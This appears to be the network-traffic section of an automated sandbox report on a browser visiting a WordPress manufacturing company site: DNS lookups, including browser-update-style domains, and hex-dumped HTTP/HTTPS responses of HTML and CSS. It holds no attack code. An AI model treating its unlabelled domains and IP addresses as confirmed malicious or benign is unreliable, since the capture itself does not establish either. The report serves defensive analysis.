Oct 7, 2024 13:17:01.315109015 CEST	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:01.315139055 CEST	1.1.1.1	192.168.2.4	0xb241	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:02.585546017 CEST	1.1.1.1	192.168.2.4	0x9a9e	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:02.585706949 CEST	1.1.1.1	192.168.2.4	0xadbb	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:03.510943890 CEST	1.1.1.1	192.168.2.4	0x4f86	No error (0)	browserupdate.org			65	IN (0x0001)	false
Oct 7, 2024 13:17:03.519573927 CEST	1.1.1.1	192.168.2.4	0xba1f	No error (0)	browserupdate.org		172.67.137.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:03.519573927 CEST	1.1.1.1	192.168.2.4	0xba1f	No error (0)	browserupdate.org		104.21.7.183	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:04.800831079 CEST	1.1.1.1	192.168.2.4	0x2673	No error (0)	browser-update.org		104.26.13.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:04.800831079 CEST	1.1.1.1	192.168.2.4	0x2673	No error (0)	browser-update.org		172.67.69.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:04.800831079 CEST	1.1.1.1	192.168.2.4	0x2673	No error (0)	browser-update.org		104.26.12.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:04.802314043 CEST	1.1.1.1	192.168.2.4	0xe3ac	No error (0)	browser-update.org			65	IN (0x0001)	false
Oct 7, 2024 13:17:05.026520014 CEST	1.1.1.1	192.168.2.4	0x7518	No error (0)	browserupdate.org			65	IN (0x0001)	false
Oct 7, 2024 13:17:05.026860952 CEST	1.1.1.1	192.168.2.4	0xe46	No error (0)	browserupdate.org		104.21.7.183	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.026860952 CEST	1.1.1.1	192.168.2.4	0xe46	No error (0)	browserupdate.org		172.67.137.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.779031992 CEST	1.1.1.1	192.168.2.4	0xd03b	No error (0)	browser-update.org		104.26.12.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.779031992 CEST	1.1.1.1	192.168.2.4	0xd03b	No error (0)	browser-update.org		104.26.13.241	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.779031992 CEST	1.1.1.1	192.168.2.4	0xd03b	No error (0)	browser-update.org		172.67.69.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.784930944 CEST	1.1.1.1	192.168.2.4	0x4f04	No error (0)	browser-update.org			65	IN (0x0001)	false
Oct 7, 2024 13:17:05.860896111 CEST	1.1.1.1	192.168.2.4	0xe9f6	No error (0)	virtual.urban-orthodontics.com		185.76.79.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:09.894090891 CEST	1.1.1.1	192.168.2.4	0x9c10	No error (0)	virtual.urban-orthodontics.com		185.76.79.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:16.207107067 CEST	1.1.1.1	192.168.2.4	0xc039	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:16.208039045 CEST	1.1.1.1	192.168.2.4	0x72cd	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:16.208055019 CEST	1.1.1.1	192.168.2.4	0x319a	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:16.209321022 CEST	1.1.1.1	192.168.2.4	0xcac6	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:16.210481882 CEST	1.1.1.1	192.168.2.4	0xfa81	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:16.211754084 CEST	1.1.1.1	192.168.2.4	0xedab	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.148869991 CEST	1.1.1.1	192.168.2.4	0xb7d6	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.148900032 CEST	1.1.1.1	192.168.2.4	0xcff0	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.166245937 CEST	1.1.1.1	192.168.2.4	0xd183	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.166462898 CEST	1.1.1.1	192.168.2.4	0xd8b7	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.181693077 CEST	1.1.1.1	192.168.2.4	0xbbe5	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:17.181719065 CEST	1.1.1.1	192.168.2.4	0xc6d9	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:48.616110086 CEST	1.1.1.1	192.168.2.4	0xafa	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:48.616110086 CEST	1.1.1.1	192.168.2.4	0xafa	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:59.282793999 CEST	1.1.1.1	192.168.2.4	0x5720	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:59.282793999 CEST	1.1.1.1	192.168.2.4	0x5720	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:59.282793999 CEST	1.1.1.1	192.168.2.4	0x5720	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:59.282793999 CEST	1.1.1.1	192.168.2.4	0x5720	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:18:05.778369904 CEST	1.1.1.1	192.168.2.4	0x332	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:05.778369904 CEST	1.1.1.1	192.168.2.4	0x332	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:05.778369904 CEST	1.1.1.1	192.168.2.4	0x332	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:18:16.311280012 CEST	1.1.1.1	192.168.2.4	0x82a8	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:16.311511040 CEST	1.1.1.1	192.168.2.4	0xb7d3	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:17.474857092 CEST	1.1.1.1	192.168.2.4	0xec7e	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:17.475318909 CEST	1.1.1.1	192.168.2.4	0x79f2	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:35.591094971 CEST	1.1.1.1	192.168.2.4	0x19b4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:35.591094971 CEST	1.1.1.1	192.168.2.4	0x19b4	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:18:35.591094971 CEST	1.1.1.1	192.168.2.4	0x19b4	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	192.185.125.111	80	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:16:57.181195974 CEST	433	OUT	GET / HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 7, 2024 13:16:57.678432941 CEST	482	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 07 Oct 2024 11:16:57 GMT Server: Apache Location: https://www.twbcompany.com/ Content-Length: 235 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.twbcompany.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	192.185.125.111	80	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:17:42.190355062 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:58 UTC	661	OUT	GET / HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:58 UTC	466	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:58 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/26>; rel="alternate"; type="application/json", <https://www.twbcompany.com/>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 11:16:58 UTC	7726	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 11:16:58 UTC	8664	IN	Data Raw: 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 Data Ascii: min.css?ver=6.5.4' type='text/css' media='all' /><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decorati
2024-10-07 11:16:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:16:58 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 Data Ascii: 4000background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font
2024-10-07 11:16:58 UTC	8198	IN	Data Raw: 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 65 6c 64 65 64 2d 62 6c 61 6e 6b 73 2f 22 3e 54 61 69 6c 6f 72 20 57 65 6c 64 65 64 20 42 6c 61 6e 6b 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 65 6c 64 65 64 2d 63 6f 69 6c 73 2f 22 3e 54 61 69 6c 6f 72 20 57 65 6c 64 65 64 20 43 6f 69 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 Data Ascii: i><a href="https://www.twbcompany.com/products/tailor-welded-blanks/">Tailor Welded Blanks</a></li><li><a href="https://www.twbcompany.com/products/tailor-welded-coils/">Tailor Welded Coils</a></li><li><a href="https://www.twbcompany.com/products/tailor-w
2024-10-07 11:16:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:16:58 UTC	2328	IN	Data Raw: 39 30 63 0d 0a 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 77 62 5f 32 30 31 36 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 73 2f 71 31 2e 70 6e 67 22 20 61 6c 74 3d 22 51 31 20 46 6f 72 64 20 50 72 65 66 65 72 72 65 64 20 51 75 61 6c 69 74 79 20 53 74 61 74 75 73 22 20 77 69 64 74 68 3d 22 37 30 22 20 2f 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 09 09 3c 2f 75 6c 3e 0a 09 09 09 3c 75 6c 20 63 6c 61 73 73 3d 22 63 65 72 74 69 66 69 63 61 74 69 6f 6e 73 22 3e 0a 09 09 09 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 6f 72 74 68 69 6e 67 74 6f 6e 73 Data Ascii: 90c="_blank"><img src="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png" alt="Q1 Ford Preferred Quality Status" width="70" /></a></li></ul><ul class="certifications"><li><a href="https://www.worthingtons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	607	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:16:59 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	622	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 59240 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:16:59 UTC	7937	IN	Data Raw: 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 5f 5f 74 6f 67 67 6c 65 20 69 6d 67 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 7d 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 75 Data Ascii: html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu u
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 61 6e 65 6c 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 6e 65 6c 5f 5f 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 70 61 6e 65 6c 2d 73 65 74 74 69 6e 67 73 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 64 69 76 3e 62 75 74 74 6f 6e 3e 73 70 61 6e 2e 61 6e 74 69 63 6f 6e 2d 6d 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 7d 2e 77 70 6d 6c 2d 6c 73 2d 70 61 6e 65 6c 2d 73 65 74 74 69 6e 67 73 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 64 69 76 3e 62 75 74 74 6f 6e 3e 73 70 61 6e 2e 61 6e 74 69 63 6f 6e Data Ascii: arrow{display:none}.wpml-ls-typography-panel .components-panel__arrow{display:none}.wpml-ls-panel-settings-dropdown-container>div>button>span.anticon-more{font-size:large;margin-right:10px}.wpml-ls-panel-settings-dropdown-container>div>button>span.anticon
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 64 6f 77 6e 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 64 6f 77 6e 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d Data Ascii: .ant-input-number-handler-up-inner .ant-input-number-handler-up-inner-icon,.ant-input-number-handler-up-inner .ant-input-number-handler-down-inner-icon,.ant-input-number-handler-down-inner .ant-input-number-handler-up-inner-icon,.ant-input-number-handler-
